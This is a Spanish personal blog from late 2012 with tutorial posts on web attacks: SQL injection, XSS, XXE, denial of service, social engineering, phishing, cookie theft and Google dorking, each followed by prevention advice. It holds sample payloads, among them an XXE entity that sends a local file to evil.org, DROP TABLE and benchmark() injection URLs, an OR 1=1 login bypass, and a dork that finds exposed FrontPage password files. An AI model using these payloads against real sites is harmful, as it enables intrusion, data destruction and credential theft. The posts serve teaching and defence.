lunes, 31 de diciembre de 2012

Feliz 2013



2012 se cierra habiendo sido un gran año con grandes hitos personales como haber finalizado la carrera (aunque ahora me he metido a “upgradearla” a grado), encontrar trabajo estable y otros proyectos personales que ya tengo muy avanzados y, cuando por fin los inaugure, tranquilos que os tendré informados :)
Para 2013 ya tengo mi lista de propósitos es extensa y ambiciosa, entre otras cosas, esta la de mantener y hacer de este blog una rica fuente de información.
Mañana acabo con el trabajillo sobre los diferentes ataques web que ha sido lo que os he estado posteando estos días, pondré un índice para que quede todo ordenado y accesible en todo momento.
¿Qué posteare en adelante? Pues os doy algunas pistas: MongoDB, Hadoop, ampliar el trabajo que he posteado con más conocimientos…. Seguro que más de uno ya con eso le tengo ganado :D
Una vez más Feliz 2013 a todos.

miércoles, 26 de diciembre de 2012

Ataques por sobrecarga

1  ¿Qué son?

Los ataques DoS(Denial of Service) tienen como finalidad provocar que unos servicios o recursos sean inaccesibles para los usuarios
Pueden provocar la parada de todos los servicios de una servidor, o que dichos servicios sólo sean accesibles a ciertos usuarios.

2   DoS en las webs

Los ataques en las páginas web de  tipo DoS tienen como objetivo dejar sin servicio a la aplicación web, en lugar de dirigir su ataque contra la máquina que aloja la web.
Son muy difíciles de detectar ya que se realizan a través de peticiones comunes, por ejemplo, rellenando formularios de búsqueda.
Se pueden llevar a cabo a través de los siguientes procedimientos:
• Mal funcionamiento, parada de la aplicación.
• Modificación y destrucción de datos.
• Consumo excesivo de recursos en la máquina.

3  Tipos de ataques DoS

3.1  Buffer Overflow
Un tipo de ataque DoS es el conocido como buffer Overflow, que puede aparecer en aplicaciones web escritas bajo lenguaje C o derivados del mismo.
Estos ataques se producen cuando escriben datos en un buffer que sobrescribe otros adyacentes copiando cadenas de un buffer a otro, de modo que el buffer asignado es sobrepasado. La Figura 18 muestra un ejemplo sencillo.

Es necesario  validar muy bien los datos que proceden de funciones como strcpy(), strcat(), gets(), etc. Es decir, las funciones que copian cadenas entre variables o que recogen datos de los usuarios.

3.2  Varios

Otros ataques de tipo DoS pueden generarse mediante fallos encontrados por inyección SQL o inclusión de archivos remotos, donde si los permisos no están bien configurados es posible ejecutar comandos.
En los casos en que no sea posible que el servidor deje de dar un servicio, el atacante podría intentar dificultar su funcionamiento normal ralentizándolo y provocando errores.
Por ejemplo, suponiendo que el servidor web tiene una dirección del tipo:


si el atacante en vez de esa dirección escribe algo similar a
http://servidor/noticias.aspx?id=1 union DROP TABLE usuarios


y los permisos del servidor no están bien configurados, entonces el atacante habrá logrado borrar una base de datos esencial para el funcionamiento del servidor, que se verá gravemente afectado.

Como ejemplo adicional, dado el código:
$id = $_GET['id'];
mysql_select_db("bbdd", $link);
$sql = "select * from news where auction_id=".$id;
$res = mysql_query($sql);
  
Si ejecutamos la llamada:
http://server/inject.php?id=1 union select benchmark(50000000, sha1( 1 )),1,1,1,1,1;
  
el resultado será que a través de una técnica de inyección SQL se ejecutará 50000000 veces la expresión incluida creando un bucle que consumirá  un elevado número de recursos.

4   Cómo evitarlo
 Una vez más la forma de evitar los ataques es sencilla. La principal regla, en este caso, es validar todas las entradas que realicen los usuarios en formularios de la web, cualquier área de texto que exista ha de ser validada frente a ataques o usos indebidos.

martes, 25 de diciembre de 2012

Ataques de Inyeccion (Parte 3)

Ataques XML

2.3.1  ¿Qué son?

XML (eXtensible Markup Lenguage) es un metalenguaje extensible de etiquetas desarrollado por W3C(World Wide Web Consorcium). XML permite definir la gramática de lenguajes específicos por lo que XML no es un lenguaje en particular sino una manera de definir lenguajes para distintas necesidades.
XML  propone como estándar para el intercambio de información estructurada entre diferentes plataformas.
XML permite el uso de entidades, elementos que referencian contenido dentro del propio documento.
Un ejemplo lo construye:
< !ENTITY pfc "Proyecto Final de Carrera"> que define la abreviatura de un testo para posteriormente utilizarla dentro del documento.
Pero XML también tiene la posibilidad de insertar contenido de elementos externos, y si no se establece ninguna restricción, entonces se pueden realizar los ataques XML.

2.3.2  ¿Qué puede hacer un ataque XML?

Los ataques XML pueden producir diversos efectos, como los dos mencionados a continuación:
• Lectura de ficheros arbitrarios: Es posible definir  una entidad que expanda el contenido de un fichero local del servidor, como por ejemplo:
< !DOCTYPE doc [         < !ENTITY bootini SYSTEM "file:///C:/boot.ini ">
< !ENTITY enviarb SYSTEM "http://evil.org/?&bootini;">
]>
  Escaneo de puertos: Se pueden definir entidades externas que el servidor deba resolver pata insertar su contenido en un documento.
< !DOCTYPE scan [  < !ENTITY pfc SYSTEM "http://1.1.1.1:21/">]>

2.3.3  Cómo evitarlo
Para prevenir los ataques XML hay que indicarle al servidor que no procese entidades externas.


viernes, 14 de diciembre de 2012

Ataques de Inyeccion (Parte 2)


 Ataques XSS

 1   ¿Qué son?

XSS es la abreviatura de “Cross Site Scripting”, típicamente escrito como XSS para no confundirlo con CSS que son las hojas de estilos en cascada de las páginas web.
Las vulnerabilidades de tipo XSS tratan de ejecutar código de scripts como Java o VBScript en un sitio web a través de formularios cuyos textos de entrada no han sido bien formateados y permiten la entrada de caracteres especiales como por ejemplo: < o >.

2   Tipos de ataques XSS

Los ataques XSS se dividen en dos tipos: XSS indirecto (no persistente) y XSS directo (o persistente)


            2.1 Indirecto (no persistente)

Consiste en modificar valores que el código de la web utiliza para pasarse a sí misma variables entre sus páginas. Al modificar el código de las mismas se puede alterar el funcionamiento de ella.
A continuación se presenta un ejemplo para su mejor entendimiento..
Supongamos que existe una web cuyo fichero index.php tiene el siguiente contenido:
  1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
  2. <html>
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  5. <title>Bienvenidos a <?php echo $_GET['title']; ?></title>
  6. </head>
  7.  
  8. <body>
  9. </body>
  10. </html>
 
Como se puede comprobar, se trata de  un código muy sencillo que incluye únicamente el comando:
<?php echo $_GET['title']; ?> y donde se recoge una variable llamada title que se  inserta en el título de la web, un código habitual y sencillo.
A partir de estos datos, si alguien quisiera  desprestigiar el sitio web haciendo creer a los usuarios que es un sitio peligroso podría dejar  enlaces web en los buscadores y otras webs para que los usuarios accedieran a nuestro sitio pero a través de la siguiente dirección (se muestra solo la porción final):
     index.php?title=</title><script>alert("¡Este Sitio es un peligro!")</script>

El código anterior ha utilizado la funcionalidad existente de la etiqueta de la web:
<?php echo $_GET['title']; ?> para introducir un nuevo código que consiste en la cadena:
<script>alert("¡Este Sitio es un peligro!")</script>

Realmente esta alteración de la funcionalidad no genera ningún daño directo ya que lo único que ocurre  es que aparecerá ante el usuario la ventana mostrada en la Figura 17:



Hasta que el usuario no pulse sobre el botón Aceptar,  no podrá acceder al sitio web y tras haber leído semejante aviso lo más probable es que no lo  haga. Por lo tanto,  una línea sencilla de código podrá crear  una campaña muy negativa sobre el sitio web.
Este es un ejemplo con una alerta simple pero XSS tiene mucho potencial y podría insertarse un script malicioso en una etiqueta de título simple que por ejemplo enviara  archivos al un servidor transmitiendo  código malicioso a los usuarios legítimos desde el  sitio web atacando a su equipo y su navegador.

             2.2  XSS Directo (persistente)
Consiste en introducir código script en los formularios HTML que no formatean el texto introducido correctamente. Este tipo de ataques son los más difíciles de lograr ya que las medidas de prevención son relativamente sencillas. Sin embargo, hay que tener en cuenta que estos ataques son los más dañinos funcionando en sitios dinámicos donde se puede introducir contenido libremente, por ejemplo, comentarios en blogs, un post en foros, etc.
El ataque consiste en que en vez de escribir un comentario “inocente” se introduce en su lugar código con etiquetas como <iframe> o <script>.
Para ilustrar su funcionamiento se presenta un ejemplo: supongamos que en un sitio web se insertara  la siguiente líneas de código, muy similar al ejemplo del apartado anterior :
<SCRIPT language='JavaScript'>        alert('Este sitio es un peligro¡');</SCRIPT>


La diferencia con el anterior método de ataque es que ahora siempre que un usuario entre en el post recibirá la alerta de la Figura 17. El código malicioso se queda permanentemente insertado en la base de datos y provoca daño permanente hasta que el administrador del sitio web elimine el comentario.
Como ya se ha comentado éstos ataques son muy peligrosos ya que en foros con gran afluencia de gente se puede insertar código malicioso que provoque, de forma transparente a los usuarios, daño en el software, descargar archivos, carga de archivos maliciosos o todo tipo de ataques debido a la potencia y versatilidad de los scripts.

3  Solución

Una vez más la solución pasa por hacer un correcto tratamiento de los textos que los usuarios envían a tu sitio web como ya se hamos visto en el SQL Inyection

miércoles, 12 de diciembre de 2012

Primeros pasos por el blog

Aunque aún no me ha visitado casi nadie yo sigo a mi bola publicando cosillas que tenía preparadas.
Soy consciente de que el contenido que estoy subiendo hasta el momento es muy básico, forma parte de un trabajo que realicé hace tiempo y, por motivos de longitud no pude exponer mucho pero no preocuparse porque todo el contenido iré expandiéndolo con el tiempo :D
Cuando acabe de subir todo el trabajo pondré un índice y un link directo al índice así estará todo a mano y ordenado.
Para aquellos que vengan por aquí, bienvenidos ;)
Poco a poco iré subiendo más y más cosas, hay tiempo de sobra no ponerse nerviosos.

ATAQUES DE INYECCIÓN (Parte 1)

SQL inyección

1  ¿Qué es?

Es un método de ataque que suele utlizarse en sitios web y otras aplicaciones que se conectan con bases de datos. Se aprovecha de un fallo en la mala depuración de los datos pasados desde el usuario a la consulta SQL(Structured Query Language).

2  ¿Cómo funciona?

Cuando un usuario dispone de un campo donde poder insertar cadenas de texto y hacer búsqueda en una base de datos suele enviar “palabras” o datos relacionados, por ejemplo en el  formulario de la Figura 16:


La consulta de dicho formulario sería la siguiente:
SELECT * FROM tabla_usuarios WHERE usuario=’$nombre’ AND password=’$password’;

Un usuario legítimo introduciría su nombre y contraseña, por ejemplo las cadenas Pepe y  12345. Al introducir esos datos la consulta que se pasaría a la base de datos sería:
SELECT * FROM tabla_usuarios WHERE usuario=’Pepe’ AND password=’12345’;


Siguiendo con el ejemplo la base de datos buscaría al usuario con la contraseña 12345  y si la información es correcta realizaría una operación como puede ser entrar en la web personal del usuario.
En cambio si un usuario malintencionado introdujera otro tipo de datos en los cuadros de texto el resultado no sería el mismo. Por ejemplo, los datos:

Usuario: ' OR 1=1 --'
Clave: dsadsadsa

produciría la siguiente consulta:
SELECT * FROM tabla_usuarios WHERE usuario=' ' OR 1=1 --''AND password=' dsadsadsa';

A continuación se ofrece un análisis de esta consulta:

1)       El  usuario es un espacio vacío, y puesto que normalmente no existe ningún usuario en las bases de datos con ese usuario, en condiciones normales se produciría un error.
           
2)       A continuación la consulta incluye un comando  OR 1=1. Aunque lo más seguro es que la base de datos no contenga ningún usuario con el nombre vacío, la condición 1=1 siempre se cumple, con lo que desde un punto de vista global la consulta ya no va a devolver un error

3)      Después del término 1=1 después se ha introducido un --, es decir, se ha comentado lo que resta de consulta anulando la comparación de la contraseña, con lo que el intruso ya tiene acceso a generar errores en el  sistema y puede  probar con otras consultas hasta que nuestra base de datos empiece a devolverle datos de interés para él, como pueden ser los nombres de usuario, contraseñas, etc.
3  ¿Cómo se puede evitar?

Si no se genera  una correcta depuración de los datos que los usuario pueden introducir en todos los formularios de la web tarde o temprano con los programas que existen hoy en día de forma automática o manualmente mediante el método de  ensayo y error algún atacante podrá  acceder a los datos de una base de datos, aunque la solución es sencilla.

En PHP basta con incluir en las consultas peligrosas la siguiente función:
mysql_real_escape_string();

Esta función provoca que los caracteres peligrosos sean previamente comentados insertando de forma automática una \ delante de los símbolos como son ¡, \, “.

En Java existe un método llamado escapeSQL procedente de la librería Apache Common Language que sirve para obtener el mismo resultado que PHP, reemplazando los caracteres especiales para que toda la cadena sea interceptada como texto. A continuación se muestra un ejemplo de uso:

Antes:
ResultSet rset = stmt.executeQuery("SELECT * FROM usuarios WHERE nombre =
 '" + nombreUsuario + "';");

Después:
ResultSet rset = stmt.executeQuery("SELECT * FROM usuarios WHERE nombre =
 '" + StringEscapeUtils.escapeSQL(nombreUsuario) + "';");


Como se puede apreciar es muy sencillo evitar este ataque, lo cual es muy importante ya que se trata de uno de los ataques más utilizados actualmente en la red donde  cada día aparecen más sitios web, por ejemplo, recientemente la web de Sony a manos del grupo de hackers Anonimous, los mismos causantes del robo de cuentas de PlayStation, Bibliografía[31].
En resumen, para evitar este tipo de ataques es necesario formatear todos los textos que procedan de los usuarios, incluso los términos de búsqueda, ya que normalmente son los más olvidados pero pueden ser utilizados para inyacter código.

martes, 11 de diciembre de 2012

Ingeniería Social

1  ¿Qué es?

Se denomina ingeniería social a los métodos y técnicas que utilizan el engaño de las personas para revelar contraseñas u otra información, en contraposición con la obtención de dicha información a través de las debilidades propias de la implementación de un sistema.

2  ¿Cómo funciona?

El mayor caso de la historia de ingeniería social fue el que realizó el mítico Kevin Mitnick (Anexo I. Kevin Mitnick). Según el propio Mitnick existen cuatro principios elementales basados en su experiencia:

            1)  Todos queremos ayudar.
            2)  El primero movimiento es siempre de confianza hacia el otro.
            3) No nos gusta decir No.
            4)  A todos nos gusta que nos alaben.
Basándose en dichos principios los primeros casos de ingeniería social eran básicamente llamadas telefónicas haciéndose pasar por otra persona, o disfrazarse de operario para poder acceder a la oficina en busca de información en papeleras o contraseñas apuntadas en post-it sobre la mesa (una mala práctica que lamentablemente aún sigue vigente).
Pero con el tiempo hasta las técnicas más sencillas evolucionan y la ingeniería social ha dado lugar a otras ya muy conocidas y dañinas como son las siguientes:
-          Phising o web spoofing
-          Spam
-          Robo de cookies
-          Ataques a través de redes sociales.
En los siguientes apartados se describen en mayor detalle cada una de ellas:

3  Técnicas de ingeniería social: Phising

 El término phising(pesca en inglés) hace alusión al intento por conseguir que los usuarios “piquen el anzuelo”.
La técnica es muy sencilla y por ese mismo motivo es, a la vez, muy peligrosa ya que es muy sencillo que un usuario sea víctima.
El primer paso de las técnicas de phising consiste en descargarse el index  (la página de inicio) de cualquier web que se quiera falsear, por ejemplo, las webs de los bancos o paginas de servicios de correo electrónico.
Una vez descargado el index, se cambia el código de login para que en vez de entrar en el correo o banco del usuario, se manden al atacante los datos introducidos por dicho usuario, quedando éste ante una pantalla estática o siendo redirigido a la web original para que hagan un nuevo intento y puedan entrar ya con normalidad pensando que ha ocurrido un fallo, sin darse cuenta de que han sido estafados.
Las webs mas atacadas en la actualidad son las de servicios bancarios y de pago online, tal como puede apreciarse en la Figura 11. Los daños económicos que causa ésta técnica son, como puede suponerse, muy elevados.


La mejor forma de evitar este tipo de ataques consiste simplemente en observar la barra del navegador y comprobar que la web visitada es realmente la correcta. La Figura 12 muestra un ejemplo de web sospechosa de phising.


Hoy en día los antivirus y los propios navegadores llevan sistemas que nos avisan de sitios fraudulentos, lo cual es una ayuda para los usuarios menos observadores o con menos experiencia en informática.




4  Técnicas de ingeniería social: Spam

El spam y phising son técnicas muy relacionadas, puesto que es a través del spam como nos suelen llegar los enlaces a sitios fraudulentos de phising.
Se llama spam, correo basura o mensaje basura a los mensaje no solicitados, no deseados o de remitente no conocido, habitualmente de tipo publicitario, enviados en grandes cantidades (de forma incluso masiva) que perjudican de alguna o varias maneras al receptor.
Las cifras de millones de mails fraudulentos que recorren la red diariamente son realmente escandalosas. Nuestros gestores de correo están preparados para que al usuario le llegue la mínima cantidad de spam posible, correos que se pueden encontrar en carpetas de tipo “no deseado”. Actualmente casi nadie es ajeno a este término, ya que en los últimos años se ha hecho muy popular por los daños que hace a la economía.
La Figura 13 proporciona una comparación de la cantidad de correo legítimo y de spam en España en 2008. Bibliografía [19].


Como todas las técnicas el spam está evolucionando a nuevos medios y ahora es muy habitual la recepción de mensajes basura a través de las redes sociales, como por ejemplo Twitter (Figura 14).

5  Técnicas de ingeniería social: Robo de cookies

5.1  ¿Qué es una cookie?

Una cookie (galleta en inglés) es un fragmento de información que se almacena a través de su navegador en el disco duro del visitante de una página web, a petición del servidor de la página. Esta información puede ser luego recuperada por el servidor en posteriores visitas.

Las cookies pueden contener información sensible , como por ejemplo,  el nombre de usuario, contraseña, fecha de la cookie así como otros datos de carácter privado

5.2   ¿Qué es el robo de cookies?

Las cookies viajan por la red en sesiones HTTP normales, es decir, son visibles para todo aquel que utilice un sniffer en la red e intercepte los datos que viajen por ella, siempre que no vayan cifrados mediante SSL , puesto que en ese caso,  el cifrado dificulta el robo de la sesión.

A este mal uso se le llama robo de cookies y la consecuencia de utilizar una cookie de otra persona consiste en poder  suplantar su identidad en el sitio web al que pertenece la cookie, por lo que tendrá acceso a todos sus datos y podrá utilizar el servicio afectado como su fuera el usuario legítimo.

5.3  Firesheep

Es un complemento para navegadores (Firefox 3.6.12 32 bits, Safari) que con un simple click devuelve todas las cookies que viajan por la red relacionadas con las redes sociales.

Este complemento se hizo muy famoso porque en redes universitarias causó verdaderos estragos dejando en evidencia la baja seguridad principalmente de los sistemas de autenticación de las redes sociales, donde los datos se transmiten en texto plano dentro de una cookie.
La Figura 15 muestra un ejemplo de utilización del complemento Firesheep.

Técnicas de ingeniería social: Ataques a través de redes sociales.

Las redes sociales son uno de los campos en los que la ingeniería social obtiene mejores resultados.
A través de las redes sociales se puede obtener un  listado de los hábitos, gustos y costumbres de las víctimas, además de fotografías tanto suyas como de sus amistades o conocidos.
Con una buena configuración de las opciones de seguridad y aceptando sólo a usuarios conocidos se podría minimizar el daño que puede hacer una persona malintencionada evitando que obtuviera datos de ese modo.
Aunque puede parecer poco importante, esta forma de obtener datos está siendo objeto de atención por los cuerpos de seguridad de muchos países, ya que es una forma de obtener información de víctimas y atacantes (por ejemplo, pederastas) que actúan a través de perfiles inventados.

lunes, 10 de diciembre de 2012

Google Hacks

1  ¿Qué son los Google Hacks?

Los Google Hacks son un conjunto de herramientas que permiten realizar consultas y explorar la gran capacidad de almacenamiento de información de Google, buscando información específica que ha sido añadida a las bases de datos del buscador. Si las búsquedas las orientamos a ciertas palabras clave que nos ayuden a encontrar información sensible, puntos de entrada a posibles ataques, o cualquier otro tipo de información relacionada nos encontramos ante otra fuente de información para atacantes muy potente.

2  Ejemplos y usos de los Google Hacks

Los Google Hacks están disponibles para cualquier persona desde esta web:


En ella figuran todos los comandos y cómo se pueden usar los mismos. Debido a su extensión, únicamente se han incluido algunos ejemplos de uso de los mismos para mostrar cómo recolectar fácilmente información detallada de sitios webs con sólo una búsqueda y sin infringir ninguna ley, puesto que se trata de información pública.

Aquí tenemos un ejemplo de búsqueda utilizando las Google Hacks, esta consulta genera una búsqueda en Google de: "Powered by MercuryBoard [v1" Mercury Board tiene en la versión 1 varios agujeros conocidos ya que es una versión antigua por lo que una persona malintencionada podría probar dichos agujeros en aquellos foros que mostrara la búsqueda.


Aquí tenemos otro ejemplo, este caso Google mostrara en su navegador esta cadena de búsqueda: ext:pwd inurl:(service | authors | administrators | users) "# -FrontPage-"
Y nos devolverá como resultados páginas web realizadas con FrontPage (el editor web de Microsoft) que han dejado el archivo de usuario y password (el archivo service.pwd) a la vista.
Cualquier usuario malintencionado le basta con copiar la password y desencriptarla para poder ya tener acceso a dicha web con permisos de administrador.
Ejemplo real de un resultado de dicha búsqueda:
# -FrontPage-
taleisin:QqtIwVbwMksS6

Como se puede  apreciar en estos ejemplos los códigos de búsqueda son complicados de dominar y poder personalizar para todas las necesidades, así que los trabajadores de Google han creado una herramienta que facilita esa operación.
Tal como se puede apreciar en la Figura 10 Google Hacks proporciona un sencillo e intuitivo menú para construir las búsquedas mediante un simple click.




Por supuesto existen muchos más detalles de búsqueda de los que aparecen en la Figura 10, pero es una técnica muy útil y sencilla para recoger información web, generando los comandos de búsqueda evitando al mismo tiempo al usuario la complejidad de dichos comandos, con lo que los  usuarios acceden directamente a los resultados.


1.3.3  ¿Cómo protegernos?
El mecanismo de protección fundamental consiste en tener el archivo “robots.txt” de cada  web perfectamente configurado para que impida que Google indexe las carpetas o archivos que puedan ser sensibles. En el Recurso[13] se adjunta un sitio web de aprendizaje sobre este archivo y como configurarlo.
Además, conviene no publicar todos los archivos, decidiendo si realmente es necesario que los documentos más sensibles estén en la nube y puedan ser indexados..
Po rúltimo conviene aplicar  posicionamiento inverso, ya que es preferible que un dato sensible salga en una búsqueda en la posición 1000 a que aparezca el primero.